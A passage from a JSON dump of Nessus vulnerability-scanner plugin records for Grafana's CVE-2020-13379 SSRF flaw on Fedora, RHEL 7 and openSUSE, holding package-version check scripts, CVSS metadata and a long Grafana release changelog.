Affiliate thereof.\");\n script_family(english:\"Fedora Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/RedHat/release\", \"Host/RedHat/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/RedHat/release\");\nif (isnull(release) || \"Fedora\" >!< release) audit(AUDIT_OS_NOT, \"Fedora\");\nos_ver = pregmatch(pattern: \"Fedora.*release ([0-9]+)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"Fedora\");\nos_ver = os_ver[1];\nif (! preg(pattern:\"^31([^0-9]|$)\", string:os_ver)) audit(AUDIT_OS_NOT, \"Fedora 31\", \"Fedora \" + os_ver);\n\nif (!get_kb_item(\"Host/RedHat/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Fedora\", cpu);\n\n\nflag = 0;\nif (rpm_check(release:\"FC31\", reference:\"grafana-6.7.4-1.fc31\")) flag++;\n\n\nif (flag)\n{\n security_report_v4(\n port : 0,\n severity : SECURITY_WARNING,\n extra : rpm_report_get()\n );\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"grafana\");\n}\n", "cvss": {"score": 6.4, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:P"}}, {"lastseen": "2020-12-22T05:50:43", "description": "The remote Redhat Enterprise Linux 7 host has a package installed that is affected by a vulnerability as referenced in\nthe RHSA-2020:5599 advisory.\n\n - grafana: SSRF incorrect access control vulnerability allows unauthenticated users to make grafana send\n HTTP requests to any URL (CVE-2020-13379)\n\nNote that Nessus has not tested for this issue but has instead relied only on the application's self-reported version\nnumber.", "edition": 2, "cvss3": {"score": 8.2, "vector": "AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H"}, "published": "2020-12-18T00:00:00", "title": "RHEL 7 : web-admin-build (RHSA-2020:5599)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2020-13379"], "modified": "2020-12-18T00:00:00", "cpe": ["cpe:/a:redhat:storage:3.5:wa:el7", "cpe:/a:redhat:storage:3.5:na:el7", "p-cpe:/a:redhat:enterprise_linux:grafana", "cpe:/o:redhat:enterprise_linux:7", "cpe:/a:redhat:storage:3.5"], "id": "REDHAT-RHSA-2020-5599.NASL", "href": "https://www.tenable.com/plugins/nessus/144408", "sourceData": "##\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from Red Hat Security Advisory RHSA-2020:5599. The text\n# itself is copyright (C) Red Hat, Inc.\n##\n\ninclude('compat.inc');\n\nif (description)\n{\n script_id(144408);\n script_version(\"1.3\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2020/12/21\");\n\n script_cve_id(\"CVE-2020-13379\");\n script_xref(name:\"RHSA\", value:\"2020:5599\");\n\n script_name(english:\"RHEL 7 : web-admin-build (RHSA-2020:5599)\");\n script_summary(english:\"Checks the rpm output for the updated package\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote Red Hat host is missing a security update.\");\n script_set_attribute(attribute:\"description\", value:\n\"The remote Redhat Enterprise Linux 7 host has a package installed that is affected by a vulnerability as referenced in\nthe RHSA-2020:5599 advisory.\n\n - grafana: SSRF incorrect access control vulnerability allows unauthenticated users to make grafana send\n HTTP requests to any URL (CVE-2020-13379)\n\nNote that Nessus has not tested for this issue but has instead relied only on the application's self-reported version\nnumber.\");\n script_set_attribute(attribute:\"see_also\", value:\"https://cwe.mitre.org/data/definitions/284.html\");\n script_set_attribute(attribute:\"see_also\", value:\"https://cwe.mitre.org/data/definitions/476.html\");\n script_set_attribute(attribute:\"see_also\", value:\"https://cwe.mitre.org/data/definitions/918.html\");\n script_set_attribute(attribute:\"see_also\", value:\"https://access.redhat.com/security/cve/CVE-2020-13379\");\n script_set_attribute(attribute:\"see_also\", value:\"https://access.redhat.com/errata/RHSA-2020:5599\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.redhat.com/1843640\");\n script_set_attribute(attribute:\"solution\", value:\n\"Update the affected grafana package.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:P/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2020-13379\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_cwe_id(284, 476, 918);\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2020/06/03\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2020/12/17\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2020/12/18\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:redhat:enterprise_linux:7\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:redhat:storage:3.5\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:redhat:storage:3.5:na:el7\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:redhat:storage:3.5:wa:el7\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:grafana\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Red Hat Local Security Checks\");\n\n script_copyright(english:\"This script is Copyright (C) 2020 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/RedHat/release\", \"Host/RedHat/rpm-list\", \"Host/cpu\");\n\n exit(0);\n}\n\n\ninclude('audit.inc');\ninclude('global_settings.inc');\ninclude('misc_func.inc');\ninclude('rpm.inc');\ninclude('rhel.inc');\n\nif (!get_kb_item('Host/local_checks_enabled')) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item('Host/RedHat/release');\nif (isnull(release) || 'Red Hat' >!< release) audit(AUDIT_OS_NOT, 'Red Hat');\nos_ver = pregmatch(pattern: \"Red Hat Enterprise Linux.*release ([0-9]+(\\.[0-9]+)?)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, 'Red Hat');\nos_ver = os_ver[1];\nif (!rhel_check_release(operator: 'ge', os_version: os_ver, rhel_version: '7')) audit(AUDIT_OS_NOT, 'Red Hat 7.x', 'Red Hat ' + os_ver);\n\nif (!get_kb_item('Host/RedHat/rpm-list')) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item('Host/cpu');\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif ('x86_64' >!< cpu && cpu !~ \"^i[3-6]86$\" && 's390' >!< cpu && 'aarch64' >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, 'Red Hat', cpu);\n\nrepositories = {\n 'storage_3_5_na_el7': [\n 'rh-gluster-3-web-admin-agent-for-rhel-7-server-debug-rpms',\n 'rh-gluster-3-web-admin-agent-for-rhel-7-server-rpms',\n 'rh-gluster-3-web-admin-agent-for-rhel-7-server-source-rpms'\n ],\n 'storage_3_5_wa_el7': [\n 'rh-gluster-3-web-admin-server-for-rhel-7-server-debug-rpms',\n 'rh-gluster-3-web-admin-server-for-rhel-7-server-rpms',\n 'rh-gluster-3-web-admin-server-for-rhel-7-server-source-rpms'\n ]\n};\n\nfound_repos = NULL;\nhost_repo_list = get_kb_list('Host/RedHat/repo-list/*');\nif (!(empty_or_null(host_repo_list))) {\n found_repos = make_list();\n foreach repo_key (keys(repositories)) {\n foreach repo ( repositories[repo_key] ) {\n if (get_kb_item('Host/RedHat/repo-list/' + repo)) {\n append_element(var:found_repos, value:repo_key);\n break;\n }\n }\n }\n if(empty_or_null(found_repos)) audit(AUDIT_RHSA_NOT_AFFECTED, 'RHSA-2020:5599');\n}\n\npkgs = [\n {'reference':'grafana-5.2.4-3.el7rhgs', 'cpu':'x86_64', 'release':'7', 'el_string':'el7rhgs', 'rpm_spec_vers_cmp':TRUE, 'repo_list':['storage_3_5_na_el7', 'storage_3_5_wa_el7']}\n];\n\nflag = 0;\nforeach package_array ( pkgs ) {\n reference = NULL;\n release = NULL;\n sp = NULL;\n cpu = NULL;\n el_string = NULL;\n rpm_spec_vers_cmp = NULL;\n epoch = NULL;\n allowmaj = NULL;\n repo_list = NULL;\n if (!empty_or_null(package_array['repo_list'])) repo_list = package_array['repo_list'];\n if (!empty_or_null(package_array['reference'])) reference = package_array['reference'];\n if (!empty_or_null(package_array['release'])) release = 'RHEL' + package_array['release'];\n if (!empty_or_null(package_array['sp'])) sp = package_array['sp'];\n if (!empty_or_null(package_array['cpu'])) cpu = package_array['cpu'];\n if (!empty_or_null(package_array['el_string'])) el_string = package_array['el_string'];\n if (!empty_or_null(package_array['rpm_spec_vers_cmp'])) rpm_spec_vers_cmp = package_array['rpm_spec_vers_cmp'];\n if (!empty_or_null(package_array['epoch'])) epoch = package_array['epoch'];\n if (!empty_or_null(package_array['allowmaj'])) allowmaj = package_array['allowmaj'];\n if (reference && release) {\n repocheck = FALSE;\n if (empty_or_null(found_repos))\n {\n repocheck = TRUE;\n }\n else\n {\n foreach repo (repo_list) {\n if (contains_element(var:found_repos, value:repo))\n {\n repocheck = TRUE;\n break;\n }\n }\n }\n if (repocheck && rpm_check(release:release, sp:sp, cpu:cpu, reference:reference, epoch:epoch, el_string:el_string, rpm_spec_vers_cmp:rpm_spec_vers_cmp, allowmaj:allowmaj)) flag++;\n }\n}\n\nif (flag)\n{\n if (empty_or_null(host_repo_list)) extra = rpm_report_get() + redhat_report_repo_caveat();\n else extra = rpm_report_get() + redhat_report_package_caveat();\n security_report_v4(\n port : 0,\n severity : SECURITY_WARNING,\n extra : extra\n );\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, 'grafana');\n}\n", "cvss": {"score": 6.4, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:P"}}, {"lastseen": "2020-09-14T17:14:36", "description": "This update for grafana, grafana-piechart-panel, grafana-status-panel\nfixes the following issues :\n\ngrafana was updated to version 7.0.3 :\n\n - Features / Enhancements\n\n - Stats: include all fields. #24829, @ryantxu\n\n - Variables: change VariableEditorList row action Icon to\n IconButton. #25217, @hshoff\n\n - Bug fixes\n\n - Cloudwatch: Fix dimensions of DDoSProtection. #25317,\n @papagian\n\n - Configuration: Fix env var override of sections\n containing hyphen. #25178, @marefr\n\n - Dashboard: Get panels in collapsed rows. #25079,\n @peterholmberg\n\n - Do not show alerts tab when alerting is disabled.\n #25285, @dprokop\n\n - Jaeger: fixes cascader option label duration value.\n #25129, @Estrax\n\n - Transformations: Fixed Transform tab crash & no update\n after adding first transform. #25152, @torkelo\n\nUpdate to version 7.0.2\n\n - Bug fixes\n\n - Security: Urgent security patch release to fix\n CVE-2020-13379\n\nUpdate to version 7.0.1\n\n - Features / Enhancements\n\n - Datasource/CloudWatch: Makes CloudWatch Logs query\n history more readable. #24795, @kaydelaney\n\n - Download CSV: Add date and time formatting. #24992,\n @ryantxu\n\n - Table: Make last cell value visible when right aligned.\n #24921, @peterholmberg\n\n - TablePanel: Adding sort order persistance. #24705,\n @torkelo\n\n - Transformations: Display correct field name when using\n reduce transformation. #25068, @peterholmberg\n\n - Transformations: Allow custom number input for binary\n operations. #24752, @ryantxu\n\n - Bug fixes\n\n - Dashboard/Links: Fixes dashboard links by tags not\n working. #24773, @KamalGalrani\n\n - Dashboard/Links: Fixes open in new window for dashboard\n link. #24772, @KamalGalrani\n\n - Dashboard/Links: Variables are resolved and limits to\n 100. #25076, @hugohaggmark\n\n - DataLinks: Bring back variables interpolation in title.\n #24970, @dprokop\n\n - Datasource/CloudWatch: Field suggestions no longer\n limited to prefix-only. #24855, @kaydelaney\n\n - Explore/Table: Keep existing field types if possible.\n #24944, @kaydelaney\n\n - Explore: Fix wrap lines toggle for results of queries\n with filter expression. #24915, @ivanahuckova\n\n - Explore: fix undo in query editor. #24797, @zoltanbedi\n\n - Explore: fix word break in type head info. #25014,\n @zoltanbedi\n\n - Graph: Legend decimals now work as expected. #24931,\n @torkelo\n\n - LoginPage: Fix hover color for service buttons. #25009,\n @tskarhed\n\n - LogsPanel: Fix scrollbar. #24850, @ivanahuckova\n\n - MoveDashboard: Fix for moving dashboard caused all\n variables to be lost. #25005, @torkelo\n\n - Organize transformer: Use display name in field order\n comparer. #24984, @dprokop\n\n - Panel: shows correct panel menu items in view mode.\n #24912, @hugohaggmark\n\n - PanelEditor Fix missing labels and description if there\n is only single option in category. #24905, @dprokop\n\n - PanelEditor: Overrides name matcher still show all\n original field names even after Field default display\n name is specified. #24933, @torkelo\n\n - PanelInspector: Makes sure Data display options are\n visible. #24902, @hugohaggmark\n\n - PanelInspector: Hides unsupported data display options\n for Panel type. #24918, @hugohaggmark\n\n - PanelMenu: Make menu disappear on button press. #25015,\n @tskarhed\n\n - Postgres: Fix add button. #25087, @phemmer\n\n - Prometheus: Fix recording rules expansion. #24977,\n @ivanahuckova\n\n - Stackdriver: Fix creating Service Level Objectives (SLO)\n datasource query variable. #25023, @papagian\n\nUpdate to version 7.0.0 \n\n - Breaking changes\n\n - Removed PhantomJS: PhantomJS was deprecated in Grafana\n v6.4 and starting from Grafana v7.0.0, all PhantomJS\n support has been removed. This means that Grafana no\n longer ships with a built-in image renderer, and we\n advise you to install the Grafana Image Renderer plugin.\n\n - Dashboard: A global minimum dashboard refresh interval\n is now enforced and defaults to 5 seconds.\n\n - Interval calculation: There is now a new option Max data\n points that controls the auto interval $__interval\n calculation. Interval was previously calculated by\n dividing the panel width by the time range. With the new\n max data points option it is now easy to set $__interval\n to a dynamic value that is time range agnostic. For\n example if you set Max data points to 10 Grafana will\n dynamically set $__interval by dividing the current time\n range by 10.\n\n - Datasource/Loki: Support for deprecated Loki endpoints\n has been removed.\n\n - Backend plugins: Grafana now requires backend plugins to\n be signed, otherwise Grafana will not load/start them.\n This is an additional security measure to make sure\n backend plugin binaries and files haven't been tampered\n with. Refer to Upgrade Grafana for more information.\n\n - @grafana/ui: Forms migration notice, see @grafana/ui\n changelog\n\n - @grafana/ui: Select API change for creating custom\n values, see @grafana/ui changelog\n\n + Deprecation warnings\n\n - Scripted dashboards is now deprecated. The feature is\n not removed but will be in a future release. We hope to\n address the underlying requirement of dynamic dashboards\n in a different way. #24059\n\n - The unofficial first version of backend plugins together\n with usage of grafana/grafana-plugin-model is now\n deprecated and support for that will be removed in a\n future release. Please refer to backend plugins\n documentation for information about the new officially\n supported backend plugins.\n\n - Features / Enhancements\n\n - Backend plugins: Log deprecation warning when using the\n unofficial first version of backend plugins. #24675,\n @marefr\n\n - Editor: New line on Enter, run query on Shift+Enter.\n #24654, @davkal\n\n - Loki: Allow multiple derived fields with the same name.\n #24437, @aocenas\n\n - Orgs: Add future deprecation notice. #24502, @torkelo\n\n - Bug Fixes\n\n - @grafana/toolkit: Use process.cwd() instead of PWD to\n get directory. #24677, @zoltanbedi\n\n - Admin: Makes long settings values line break in settings\n page. #24559, @hugohaggmark\n\n - Dashboard: Allow editing provisioned dashboard JSON and\n add confirmation when JSON is copied to dashboard.\n #24680, @dprokop\n\n - Dashboard: Fix for strange 'dashboard not found' errors\n when opening links in dashboard settings. #24416,\n @torkelo\n\n - Dashboard: Fix so default data source is selected when\n data source can't be found in panel editor. #24526,\n @mckn\n\n - Dashboard: Fixed issue changing a panel from transparent\n back to normal in panel editor. #24483, @torkelo\n\n - Dashboard: Make header names reflect the field name when\n exporting to CSV file from the the panel inspector.\n #24624, @peterholmberg\n\n - Dashboard: Make sure side pane is displayed with tabs by\n default in panel editor. #24636, @dprokop\n\n - Data source: Fix query/annotation help content\n formatting. #24687, @AgnesToulet\n\n - Data source: Fixes async mount errors. #24579, @Estrax\n\n - Data source: Fixes saving a data source without failure\n when URL doesn't specify a protocol. #24497, @aknuds1\n\n - Explore/Prometheus: Show results of instant queries only\n in table. #24508, @ivanahuckova\n\n - Explore: Fix rendering of react query editors. #24593,\n @ivanahuckova\n\n - Explore: Fixes loading more logs in logs context view.\n #24135, @Estrax\n\n - Graphite: Fix schema and dedupe strategy in rollup\n indicators for Metrictank queries. #24685, @torkelo\n\n - Graphite: Makes query annotations work again. #24556,\n @hugohaggmark\n\n - Logs: Clicking 'Load more' from context overlay doesn't\n expand log row. #24299, @kaydelaney\n\n - Logs: Fix total bytes process calculation. #24691,\n @davkal\n\n - Org/user/team preferences: Fixes so UI Theme can be set\n back to Default. #24628, @AgnesToulet\n\n - Plugins: Fix manifest validation. #24573, @aknuds1\n\n - Provisioning: Use proxy as default access mode in\n provisioning. #24669, @bergquist\n\n - Search: Fix select item when pressing enter and Grafana\n is served using a sub path. #24634, @tskarhed\n\n - Search: Save folder expanded state. #24496, @Clarity-89\n\n - Security: Tag value sanitization fix in OpenTSDB data\n source. #24539, @rotemreiss\n\n - Table: Do not include angular options in options when\n switching from angular panel. #24684, @torkelo\n\n - Table: Fixed persisting column resize for time series\n fields. #24505, @torkelo\n\n - Table: Fixes Cannot read property subRows of null.\n #24578, @hugohaggmark\n\n - Time picker: Fixed so you can enter a relative range in\n the time picker without being converted to absolute\n range. #24534, @mckn\n\n - Transformations: Make transform dropdowns not cropped.\n #24615, @dprokop\n\n - Transformations: Sort order should be preserved as\n entered by user when using the reduce transformation.\n #24494, @hugohaggmark\n\n - Units: Adds scale symbol for currencies with suffixed\n symbol. #24678, @hugohaggmark\n\n - Variables: Fixes filtering options with more than 1000\n entries. #24614, @hugohaggmark\n\n - Variables: Fixes so Textbox variables read value from\n url. #24623, @hugohaggmark\n\n - Zipkin: Fix error when span contains remoteEndpoint.\n #24524, @aocenas\n\n - SAML: Switch from email to login for user login\n attribute mapping (Enterprise)\n\nThis update was imported from the SUSE:SLE-15-SP2:Update update\nproject.", "edition": 4, "cvss3": {"score": 8.2, "vector": "AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H"}, "published": "2020-07-20T00:00:00", "title": "openSUSE Security Update : grafana / grafana-piechart-panel / grafana-status-panel (openSUSE-2020-892)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2020-12245", "CVE-2019-15043", "CVE-2020-13379"], "modified": "2020-07-20T00:00:00", "cpe": ["p-cpe:/a:novell:opensuse:grafana", "cpe:/o:novell:opensuse:15.2", "p-cpe:/a:novell:opensuse:grafana-status-panel", "p-cpe:/a:novell:opensuse:grafana-piechart-panel", "p-cpe:/a:novell:opensuse:grafana-debuginfo"], "id": "OPENSUSE-2020-892.NASL", "href": "https://www.tenable.com/plugins/nessus/138710", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from openSUSE Security Update openSUSE-2020-892.\n#\n# The text description of this plugin is (C) SUSE LLC.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(138710);\n script_version(\"1.3\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2020/08/13\");\n\n script_cve_id(\"CVE-2019-15043\", \"CVE-2020-12245\", \"CVE-2020-13379\");\n\n script_name(english:\"openSUSE Security Update : grafana / grafana-piechart-panel / grafana-status-panel (openSUSE-2020-892)\");\n script_summary(english:\"Check for the openSUSE-2020-892 patch\");\n\n script_set_attribute(\n attribute:\"synopsis\",\n value:\"The remote openSUSE host is missing a security update.\"\n );\n script_set_attribute(\n attribute:\"description\",\n value:\n\"This update for grafana, grafana-piechart-panel, grafana-status-panel\nfixes the following issues :\n\ngrafana was updated to version 7.0.3 :\n\n - Features / Enhancements\n\n - Stats: include all fields. #24829, @ryantxu\n\n - Variables: change VariableEditorList row action Icon to\n IconButton. #25217, @hshoff\n\n - Bug fixes\n\n - Cloudwatch: Fix dimensions of DDoSProtection. #25317,\n @papagian\n\n - Configuration: Fix env var override of sections\n containing hyphen. #25178, @marefr\n\n - Dashboard: Get panels in collapsed rows. #25079,\n @peterholmberg\n\n - Do not show alerts tab when alerting is disabled.\n #25285, @dprokop\n\n - Jaeger: fixes cascader option label duration value.\n #25129, @Estrax\n\n - Transformations: Fixed Transform tab crash & no update\n after adding first transform. #25152, @torkelo\n\nUpdate to version 7.0.2\n\n - Bug fixes\n\n - Security: Urgent security patch release to fix\n CVE-2020-13379\n\nUpdate to version 7.0.1\n\n - Features / Enhancements\n\n - Datasource/CloudWatch: Makes CloudWatch Logs query\n history more readable. #24795, @kaydelaney\n\n - Download CSV: Add date and time formatting. #24992,\n @ryantxu\n\n - Table: Make last cell value visible when right aligned.\n #24921, @peterholmberg\n\n - TablePanel: Adding sort order persistance. #24705,\n @torkelo\n\n - Transformations: Display correct field name when using\n reduce transformation. #25068, @peterholmberg\n\n - Transformations: Allow custom number input for binary\n operations. #24752, @ryantxu\n\n - Bug fixes\n\n - Dashboard/Links: Fixes dashboard links by tags not\n working. #24773, @KamalGalrani\n\n - Dashboard/Links: Fixes open in new window for dashboard\n link. #24772, @KamalGalrani\n\n - Dashboard/Links: Variables are resolved and limits to\n 100. #25076, @hugohaggmark\n\n - DataLinks: Bring back variables interpolation in title.\n #24970, @dprokop\n\n - Datasource/CloudWatch: Field suggestions no longer\n limited to prefix-only. #24855, @kaydelaney\n\n - Explore/Table: Keep existing field types if possible.\n #24944, @kaydelaney\n\n - Explore: Fix wrap lines toggle for results of queries\n with filter expression. #24915, @ivanahuckova\n\n - Explore: fix undo in query editor. #24797, @zoltanbedi\n\n - Explore: fix word break in type head info. #25014,\n @zoltanbedi\n\n - Graph: Legend decimals now work as expected. #24931,\n @torkelo\n\n - LoginPage: Fix hover color for service buttons. #25009,\n @tskarhed\n\n - LogsPanel: Fix scrollbar. #24850, @ivanahuckova\n\n - MoveDashboard: Fix for moving dashboard caused all\n variables to be lost. #25005, @torkelo\n\n - Organize transformer: Use display name in field order\n comparer. #24984, @dprokop\n\n - Panel: shows correct panel menu items in view mode.\n #24912, @hugohaggmark\n\n - PanelEditor Fix missing labels and description if there\n is only single option in category. #24905, @dprokop\n\n - PanelEditor: Overrides name matcher still show all\n original field names even after Field default display\n name is specified. #24933, @torkelo\n\n - PanelInspector: Makes sure Data display options are\n visible. #24902, @hugohaggmark\n\n - PanelInspector: Hides unsupported data display options\n for Panel type. #24918, @hugohaggmark\n\n - PanelMenu: Make menu disappear on button press. #25015,\n @tskarhed\n\n - Postgres: Fix add button. #25087, @phemmer\n\n - Prometheus: Fix recording rules expansion. #24977,\n @ivanahuckova\n\n - Stackdriver: Fix creating Service Level Objectives (SLO)\n datasource query variable. #25023, @papagian\n\nUpdate to version 7.0.0 \n\n - Breaking changes\n\n - Removed PhantomJS: PhantomJS was deprecated in Grafana\n v6.4 and starting from Grafana v7.0.0, all PhantomJS\n support has been removed. This means that Grafana no\n longer ships with a built-in image renderer, and we\n advise you to install the Grafana Image Renderer plugin.\n\n - Dashboard: A global minimum dashboard refresh interval\n is now enforced and defaults to 5 seconds.\n\n - Interval calculation: There is now a new option Max data\n points that controls the auto interval $__interval\n calculation. Interval was previously calculated by\n dividing the panel width by the time range. With the new\n max data points option it is now easy to set $__interval\n to a dynamic value that is time range agnostic. For\n example if you set Max data points to 10 Grafana will\n dynamically set $__interval by dividing the current time\n range by 10.\n\n - Datasource/Loki: Support for deprecated Loki endpoints\n has been removed.\n\n - Backend plugins: Grafana now requires backend plugins to\n be signed, otherwise Grafana will not load/start them.\n This is an additional security measure to make sure\n backend plugin binaries and files haven't been tampered\n with. Refer to Upgrade Grafana for more information.\n\n - @grafana/ui: Forms migration notice, see @grafana/ui\n changelog\n\n - @grafana/ui: Select API change for creating custom\n values, see @grafana/ui changelog\n\n + Deprecation warnings\n\n - Scripted dashboards is now deprecated. The feature is\n not removed but will be in a future release. We hope to\n address the underlying requirement of dynamic dashboards\n in a different way. #24059\n\n - The unofficial first version of backend plugins together\n with usage of grafana/grafana-plugin-model is now\n deprecated and support for that will be removed in a\n future release. Please refer to backend plugins\n documentation for information about the new officially\n supported backend plugins.\n\n - Features / Enhancements\n\n - Backend plugins: Log deprecation warning when using the\n unofficial first version of backend plugins. #24675,\n @marefr\n\n - Editor: New line on Enter, run query on Shift+Enter.\n #24654, @davkal\n\n - Loki: Allow multiple derived fields with the same name.\n #24437, @aocenas\n\n - Orgs: Add future deprecation notice. #24502, @torkelo\n\n - Bug Fixes\n\n - @grafana/toolkit: Use process.cwd() instead of PWD to\n get directory. #24677, @zoltanbedi\n\n - Admin: Makes long settings values line break in settings\n page. #24559, @hugohaggmark\n\n - Dashboard: Allow editing provisioned dashboard JSON and\n add confirmation when JSON is copied to dashboard.\n #24680, @dprokop\n\n - Dashboard: Fix for strange 'dashboard not found' errors\n when opening links in dashboard settings. #24416,\n @torkelo\n\n - Dashboard: Fix so default data source is selected when\n data source can't be found in panel editor. #24526,\n @mckn\n\n - Dashboard: Fixed issue changing a panel from transparent\n back to normal in panel editor. #24483, @torkelo\n\n - Dashboard: Make header names reflect the field name when\n exporting to CSV file from the the panel inspector.\n #24624, @peterholmberg\n\n - Dashboard: Make sure side pane is displayed with tabs by\n default in panel editor. #24636, @dprokop\n\n - Data source: Fix query/annotation help content\n formatting. #24687, @AgnesToulet\n\n - Data source: Fixes async mount errors. #24579, @Estrax\n\n - Data source: Fixes saving a data source without failure\n when URL doesn't specify a protocol. #24497, @aknuds1\n\n - Explore/Prometheus: Show results of instant queries only\n in table. #24508, @ivanahuckova\n\n - Explore: Fix rendering of react query editors. #24593,\n @ivanahuckova\n\n - Explore: Fixes loading more logs in logs context view.\n #24135, @Estrax\n\n - Graphite: Fix schema and dedupe strategy in rollup\n indicators for Metrictank queries. #24685, @torkelo\n\n - Graphite: Makes query annotations work again. #24556,\n @hugohaggmark\n\n - Logs: Clicking 'Load more' from context overlay doesn't\n expand log row. #24299, @kaydelaney\n\n - Logs: Fix total bytes process calculation. #24691,\n @davkal\n\n - Org/user/team preferences: Fixes so UI Theme can be set\n back to Default. #24628, @AgnesToulet\n\n - Plugins: Fix manifest validation. #24573, @aknuds1\n\n - Provisioning: Use proxy as default access mode in\n provisioning. #24669, @bergquist\n\n - Search: Fix select item when pressing enter and Grafana\n is served using a sub path. #24634, @tskarhed\n\n - Search: Save folder expanded state. #24496, @Clarity-89\n\n - Security: Tag value sanitization fix in OpenTSDB data\n source. #24539, @rotemreiss\n\n - Table: Do not include angular options in options when\n switching from angular panel. #24684, @torkelo\n\n - Table: Fixed persisting column resize for time series\n fields. #24505, @torkelo\n\n - Table: Fixes Cannot read property subRows of null.\n #24578, @hugohaggmark\n\n - Time picker: Fixed so you can enter a relative range in\n the time picker without being converted to absolute\n range. #24534, @mckn\n\n - Transformations: Make transform dropdowns not cropped.\n #24615, @dprokop\n\n - Transformations: Sort order should be preserved as\n entered by user when using the reduce transformation.\n #24494, @hugohaggmark\n\n - Units: Adds scale symbol for currencies with suffixed\n symbol. #24678, @hugohaggmark\n\n - Variables: Fixes filtering options with more than 1000\n entries. #24614, @hugohaggmark\n\n - Variables: Fixes so Textbox variables read value from\n url. #24623, @hugohaggmark\n\n - Zipkin: Fix error when span contains remoteEndpoint.\n #24524, @aocenas\n\n - SAML: Switch from email to login for user login\n attribute mapping (Enterprise)\n\nThis update was imported from the SUSE:SLE-15-SP2:Update update\nproject.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.opensuse.org/show_bug.cgi?id=1170557\"\n );\n script_set_attribute(\n attribute:\"solution\",\n value:\"Update the affected grafana / grafana-piechart-panel / grafana-status-panel packages.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:P/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:grafana\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:grafana-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:grafana-piechart-panel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:grafana-status-panel\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:novell:opensuse:15.2\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2019/09/03\");\n 